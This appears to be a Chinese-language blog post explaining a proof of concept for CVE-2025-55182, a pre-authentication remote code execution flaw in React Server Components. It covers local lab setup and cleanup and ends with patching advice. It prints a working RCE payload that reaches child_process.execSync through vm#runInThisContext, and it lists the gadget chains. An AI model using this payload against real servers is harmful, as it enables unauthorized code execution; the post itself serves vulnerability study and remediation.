CVE-2025-55182 是一个针对 React Server Components 的预认证远程代码执行(RCE)漏洞的概念验证(PoC)项目。

一.漏洞背景:

该漏洞存在于 React Server Components 中,允许攻击者在未认证的情况下,通过精心构造的请求执行远程代码。其核心问题在于对用户输入的处理不当,导致攻击者可以操纵原型链、调用危险模块(如 vmchild_process 等)或通过文件操作实现间接代码执行。

二. 漏洞利用原理:

漏洞的利用主要依赖于以下关键路径:

  • 直接 RCE:通过调用包含在 webpack bundle 中的危险模块(如 vmchild_process),直接执行代码。例如,vm.runInThisContext 可直接执行传入的字符串作为 JavaScript 代码。
  • 间接 RCE:即使没有直接的危险模块,也可通过 fs 模块写入恶意文件(如 .js 脚本),再通过 module#_load 加载执行,实现两步式代码执行。
  • 原型链操纵:通过访问对象原型链(如 constructor__proto__ 等),获取 Function 构造函数,进而构造可执行代码。

三. 关键文件解析:

漏洞利用脚本:

  • exploit-rce-v4.js:核心 RCE 利用脚本,通过 vm#runInThisContext 直接执行命令,例如调用 child_process.execSync 获取系统信息。javascript运行
// 示例 payload:通过 vm 模块执行命令
{
  '$ACTION_REF_0': '',
  '$ACTION_0:0': JSON.stringify({
    id: 'vm#runInThisContext',
    bound: ['process.mainModule.require("child_process").execSync("id").toString()']
  })
}
  • exploit-indirect-rce.js:间接 RCE 示例,通过 fs.writeFileSync 写入恶意 JS 文件,再用 module#_load 加载执行。
  • exploit-all-gadgets.js:测试多种 RCE 途径,包括 vmchild_processfs 等模块的利用。

四. 漏洞验证步骤:(vps)

1.安装依赖(如果安装不成功则更新一下系统包)

# 安装 Node.js 和 npm(以 v18 为例)
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs git

# 验证安装
node -v  # 应输出 v18.x.x
npm -v   # 应输出 9.x.x 或更高
# 更新系统包
sudo apt update && sudo apt upgrade -y

2.克隆仓库并安装项目依赖

# 克隆代码仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc

# 安装项目依赖
npm install

3. 启动漏洞环境服务器

在 VPS 上运行漏洞服务器(默认端口 3002):

# 启动主服务器(支持直接 RCE 测试)
node --conditions react-server --conditions webpack src/server.js

4.攻击脚本的运行方式

直接在 VPS 的另一个终端中执行脚本

(1)运行直接 RCE 测试脚本(最基础的验证,通过vm模块执行系统命令):

node exploit-rce-v4.js

(2)测试所有利用链vmchild_processfs等):

node exploit-all-gadgets.js

五.清理测试环境残留

1.停止所有相关进程

  • 在运行服务器的终端按 Ctrl+C 终止进程;
  • 若进程残留,用 ps aux | grep node 找到进程 ID,再用 kill -9 进程ID 强制关闭。

2.删除项目文件和测试生成的文件

# 进入项目上级目录,删除整个漏洞测试仓库
cd ..
rm -rf CVE-2025-55182-poc

# 清理测试中生成的临时文件(如/tmp下的测试文件)
rm -f /tmp/cve-2025-55182-test  # 对应文件写入测试的残留
rm -f /tmp/indirect-rce-test.js  # 若运行过间接RCE测试,删除生成的恶意脚本

3.关闭不必要的端口

测试时开放的 30023003 等端口,完成后建议关闭,减少攻击面

4.执行系统更新,修补可能的漏洞

sudo apt update && sudo apt upgrade -y

六.漏洞修复建议

该漏洞存在于以下包的 19.0、19.1.0、19.1.1 和 19.2.0 版本中:

  • react-server-dom-webpack

  • react-server-dom-parcel

  • react-server-dom-turbopack

1.更新版本

修复程序已在 19.0.1、19.1.2 和 19.2.1 版本中引入。如果您正在使用上述任何软件包,请立即升级到任何已修复的版本。

2.限制危险模块

通过 webpack 配置排除 vmchild_process 等模块,避免打包到服务器代码中。

3.校验输入

过滤含 __proto__vm# 等关键词的恶意请求,只允许白名单内的参数。

4.降权运行

服务器进程用低权限账号启动,限制文件读写和命令执行范围。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐